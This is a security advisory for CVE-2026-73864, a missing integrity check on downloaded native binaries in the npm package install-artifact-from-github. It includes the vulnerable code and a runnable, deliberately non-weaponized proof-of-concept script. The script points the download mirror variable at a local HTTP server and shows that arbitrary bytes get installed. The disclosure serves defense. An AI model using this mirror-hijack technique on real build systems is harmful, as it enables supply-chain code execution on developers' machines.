HIGH · CVSS 3.1 7.5EPSS 0.2% · 10th percentileCWE-494
CVE-2026-73864: install-artifact-from-github loads downloaded native artifacts without integrity verification
Published 2026-11-18 · Updated 2026-11-18 · Also known as GHSA-88q3-gch3-5396
Summary
The install-artifact-from-github package fails to verify the cryptographic integrity of downloaded native binary artifacts before execution. Developers and CI/CD engineers should upgrade to version 1.7.0 or later to mitigate remote code execution risks.
Who is affected
Affected versions allow attackers to achieve arbitrary code execution on the host machine by manipulating the download source or intercepting network traffic. The flaw exists because downloaded native (.node) files are written to disk and subsequently executed by the parent process without checksum or signature validation. This risk is present regardless of whether the download occurs over HTTPS, as protocol downgrades are not prevented and the package lacks inherent integrity gates.
Exploitability
The vulnerability is rated as High severity (CVSS 7.5), as it requires an attacker to influence the download host or intercept traffic but does not require direct system access. Exploitation is possible through environment-variable manipulation or network-path interference, and there is no evidence of active exploitation in CISA's KEV catalog.
Remediation
Upgrade the install-artifact-from-github package to version 1.7.0 or higher.
Ensure that build environments are configured to reject insecure HTTP mirror URLs if applicable.
Verify that your CI/CD pipelines use immutable dependency lockfiles.
How to check your project
Inspect package-lock.json or yarn.lock for entries of 'install-artifact-from-github' with version numbers below 1.7.0.
Run 'npm list install-artifact-from-github' in your project directory to identify installed versions.
Automated analysis of the published advisory data, generated 2026-11-18. Not human-reviewed; verify against the official advisory. How this works.
Is my build pipeline safe if I use HTTPS for my mirrors?
Not necessarily. The package allows protocol downgrades (HTTPS to HTTP) and does not verify signatures or checksums, meaning a compromised GitHub release or a man-in-the-middle attacker could still successfully inject malicious binary payloads.
Does running npm test verify the integrity of the binary?
No. Verification scripts provided by the package execute after the binary has already been loaded and initialized; therefore, any malicious code within the native module has already executed by the time the check runs.
What specifically changed in version 1.7.0?
The fix introduces hash-bag verification to ensure that downloaded artifacts match expected cryptographic checksums before they are written to disk or loaded.
Original advisory description
## Description
`bin/install-from-cache.js` downloads a prebuilt native addon (`*.node`) over the network and writes it directly to the artifact path **with no cryptographic integrity verification of any kind** - no checksum manifest, no signature, no SRI. A scan of the whole package for `createHash|sha256|checksum|integrity|digest|signature` finds nothing. The file is then `require()`-loaded by the consumer, which executes the addon's native module-init code. Anyone able to influence the download achieves code execution on the installing machine.
### Affected code (v1.6.0)
- **Mirror is fully attacker-steerable via an env var, no host pinning** - `bin/install-from-cache.js:80`:
```js
let assetUrl = mirrorHost || process.env[mirrorEnvVar] || 'https://github.com';
```
`re2` passes `--host-var RE2_DOWNLOAD_MIRROR`, so setting `RE2_DOWNLOAD_MIRROR` (CI config, `.npmrc`/env passthrough, a compromised CI job, a poisoned shell profile) redirects 100% of the download to an arbitrary host with zero pinning.
- **The write sink is a bare `writeFile`, no verification** - `bin/install-from-cache.js:185-187`:
```js
const write = async (name, data) => {
await fsp.mkdir(path.dirname(name), {recursive: true});
await fsp.writeFile(name, data); // `data` is the raw HTTP response body
};
```
- **Cleartext transfer + silent protocol downgrade on redirect** - `bin/install-from-cache.js:155,165`:
```js
const httpLib = isHttps.test(url) ? https : isHttp.test(url) ? http : null; // http:// supported
...
get(res.headers.location).then(resolve, reject); // re-derives protocol from the NEW url
```
An `https://` asset that 302-redirects to `http://` is followed and fetched over plaintext, no warning, no scheme pinning, no redirect cap.
### The post-download "verification" is not an integrity gate
`isVerified()` optionally runs `npm run verify-build` / `npm test` *after* writing the file. For `re2`, `scripts/verify-build.js` `require()`s the binary as its first line - i.e. the downloaded addon's native code has **already executed** by the time any check runs. It is a functional smoke test, not an integrity gate, and it is skipped entirely when any `npm_config_platform*` env var is set (`:120-122`).
## Proof of concept
A self-contained, **non-malicious** PoC (`poc.js`) proves the missing-integrity property against the real `install-from-cache`, without shipping a weaponized binary: it stands up a plaintext-HTTP "mirror" serving a sentinel payload, runs `install-from-cache` with `RE2_DOWNLOAD_MIRROR` pointed at it, and shows the served bytes are written **verbatim** to `build/Release/re2.node`:
```
npm i install-artifact-from-github
IAFG_BIN=./node_modules/install-artifact-from-github/bin/install-from-cache.js node poc.js
```
```
attacker mirror (plaintext http) on 127.0.0.1:PORT
[mirror] served 2083 attacker bytes over HTTP for /uhop/node-re2/releases/download/1.24.1/darwin-arm64-137
Writing to build/Release/re2.node ... Done.
install-from-cache exit: 0
served sha256: ec6fdde6...4ebc
written sha256: ec6fdde6...4ebc
✓ attacker bytes written VERBATIM to build/Release/re2.node - NO integrity check rejected them
```
The install **succeeds (exit 0)** with attacker-controlled bytes at the artifact path. Because a real `.node` executes on `require()` (NAPI/`NODE_MODULE` init), substituting a malicious one yields code execution in the installing/running process. (A full code-execution harness using a benign marker-writing native addon was verified separately and is available on request; withheld here to avoid shipping executable payloads.)
## Attack scenarios (any one suffices)
- Attacker-configured or later-compromised `RE2_DOWNLOAD_MIRROR`.
- Tampered GitHub release / compromised maintainer account - no checksum detects a swapped asset, even over HTTPS.
- On-path attacker where a plaintext (`http://`) mirror or an `https→http` redirect is in play.
## Suggested fix
1. Publish per-release `SHASUMS256.txt` (or embed expected digests) and verify the download's SHA-256 **before** writing/loading; refuse on mismatch. (This is the model `prebuild-install` already uses.)
2. Reject `http://` asset URLs and `https→http` redirect downgrades; pin scheme across redirects; cap redirect count/hosts.
3. Document that `verify-build`/`test` run *after* load and cannot gate integrity.
## PoC
**poc.js:**
```js
// PoC - install-artifact-from-github writes a network-downloaded artifact to disk with NO
// integrity verification, from an env-controlled mirror, over plaintext HTTP.
//
// This proves the CORE defect (arbitrary attacker-supplied bytes become build/Release/re2.node
// with zero checksum/signature check) WITHOUT shipping a weaponized native binary: we serve a
// sentinel payload and show byte-for-byte (sha256) that it is written verbatim as the artifact.
// Because a .node artifact is dlopen()'d on require (running its module-init native code), an
// attacker who substitutes it - via a compromised/attacker-set RE2_DOWNLOAD_MIRROR, a tampered
// GitHub release, or an on-path MITM on the plaintext path - achieves code execution.
//
// Run: IAFG_BIN=/path/to/install-artifact-from-github/bin/install-from-cache.js node poc.js
// (defaults to require.resolve if install-artifact-from-github is installed nearby)
const http = require('http');
const fs = require('fs');
const os = require('os');
const path = require('path');
const crypto = require('crypto');
const { spawn } = require('child_process');
const IAFG = process.env.IAFG_BIN || require.resolve('install-artifact-from-github/bin/install-from-cache.js');
const SENTINEL = Buffer.from('ATTACKER-CONTROLLED-ARTIFACT-BYTES-' + 'A'.repeat(2048)); // stand-in for a malicious .node
const servedSha = crypto.createHash('sha256').update(SENTINEL).digest('hex');
const work = fs.mkdtempSync(path.join(os.tmpdir(), 'iafg-poc-'));
fs.writeFileSync(path.join(work, 'package.json'), JSON.stringify({
name: 're2', version: '1.24.1', repository: { type: 'git', url: 'https://github.com/uhop/node-re2.git' },
scripts: { 'verify-build': 'node -e "process.exit(0)"' } // trivial pass; the WRITE happened before this
}));
const server = http.createServer((req, res) => {
process.stdout.write(` [mirror] served ${SENTINEL.length} attacker bytes over HTTP for ${req.url}\n`);
res.writeHead(200, { 'content-type': 'application/octet-stream' });
res.end(SENTINEL);
});
server.listen(0, '127.0.0.1', () => {
const port = server.address().port;
console.log(`attacker mirror (plaintext http) on 127.0.0.1:${port}`);
const child = spawn('node', [IAFG,
'--artifact', 'build/Release/re2.node',
'--host-var', 'RE2_DOWNLOAD_MIRROR',
'--skip-path-var', 'RE2_DOWNLOAD_SKIP_PATH',
'--skip-ver-var', 'RE2_DOWNLOAD_SKIP_VER'], {
cwd: work, stdio: ['ignore', 'inherit', 'ignore'],
env: { ...process.env, RE2_DOWNLOAD_MIRROR: `http://127.0.0.1:${port}`,
npm_package_version: '1.24.1', npm_package_github: 'https://github.com/uhop/node-re2',
npm_package_scripts_verify_build: 'node -e "process.exit(0)"' }
});
child.on('exit', (code) => {
server.close();
console.log('install-from-cache exit:', code);
const artifact = path.join(work, 'build/Release/re2.node');
if (fs.existsSync(artifact)) {
const writtenSha = crypto.createHash('sha256').update(fs.readFileSync(artifact)).digest('hex');
console.log('served sha256:', servedSha);
console.log('written sha256:', writtenSha);
console.log(servedSha === writtenSha
? '✓ attacker bytes written VERBATIM to build/Release/re2.node - NO integrity check rejected them (served over plaintext HTTP from an env-controlled mirror). A real .node here would execute on require().'
: '✗ sha mismatch');
} else {
console.log('✗ artifact not written (check IAFG_BIN path)');
}
fs.rmSync(work, { recursive: true, force: true });
});
});
```
## Patches
Fixed in **1.7.0** via hash-bag verification. The consuming package publishes an `artifactHashes` map (`slot → sha256:<hex>` of the decompressed binary) in its *own* `package.json` - immutable once on npm, stamped at publish time by the new `hash-github-cache --write` bin (e.g. wired as `prepublishOnly`). `install-from-cache` now verifies the decompressed download **before writing it to disk**; a hash mismatch or a missing slot rejects the download and falls back to building from source. Verification is scoped to the default `github.com` source - an explicitly configured mirror (`--host` / mirror env var) remains trust-the-mirror by design. Because the bytes are checked against the published bag, an on-path attacker or an `https→http` transport downgrade on the default path is also defeated by content verification.
Note: verification activates only when the consuming package ships an `artifactHashes` bag; packages without one behave as before (backward-compatible, zero-config default). `node-re2 >= 1.26.0` publishes a stamped bag.
## Workarounds
On `<= 1.6.0`: skip downloading entirely and build from source via the documented dev short-circuit (`DEVELOPMENT_SKIP_GETTING_ASSET` env var, or a `.development` file). 1.7.0 adds first-class `--force-build` / `DOWNLOAD_FORCE_BUILD` for the same effect. In all versions, never point a mirror variable (e.g. `RE2_DOWNLOAD_MIRROR`) at a host you do not fully control.